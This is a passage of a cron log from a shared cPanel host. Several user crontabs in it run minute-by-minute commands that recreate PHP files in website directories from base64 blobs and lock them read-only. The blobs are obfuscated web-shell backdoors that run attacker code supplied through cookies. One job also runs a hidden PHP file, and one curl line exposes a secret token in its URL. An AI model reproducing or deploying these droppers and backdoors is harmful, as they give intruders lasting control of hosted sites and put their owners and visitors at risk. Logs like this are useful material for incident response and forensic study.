ICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:20:02 medusa CROND[28087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28093]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28078]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 20:20:02 medusa CROND[28097]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:20:02 medusa CROND[28098]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:20:02 medusa CROND[28091]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:20:02 medusa CROND[28102]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:20:02 medusa CROND[28090]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28073]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:20:02 medusa CROND[28096]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28116]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:20:02 medusa CROND[28113]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:20:02 medusa CROND[28119]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 20:20:02 medusa CROND[28117]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 20:21:02 medusa CROND[15530]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:21:02 medusa CROND[15531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:21:02 medusa CROND[15532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:21:02 medusa CROND[15536]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:21:02 medusa CROND[15540]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:21:02 medusa CROND[15558]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:21:02 medusa CROND[15559]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:21:02 medusa CROND[15560]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:21:02 medusa CROND[15561]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:21:02 medusa CROND[15539]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:21:02 medusa CROND[15563]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:21:02 medusa CROND[15564]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:21:02 medusa CROND[15562]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:21:02 medusa CROND[15575]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:22:01 medusa CROND[1703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:22:02 medusa CROND[1907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:22:02 medusa CROND[1908]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:22:02 medusa CROND[1914]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:22:02 medusa CROND[1915]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:22:02 medusa CROND[1917]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:22:02 medusa CROND[1920]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:22:02 medusa CROND[1922]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:22:02 medusa CROND[1925]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:22:02 medusa CROND[1919]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:22:02 medusa CROND[1927]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlb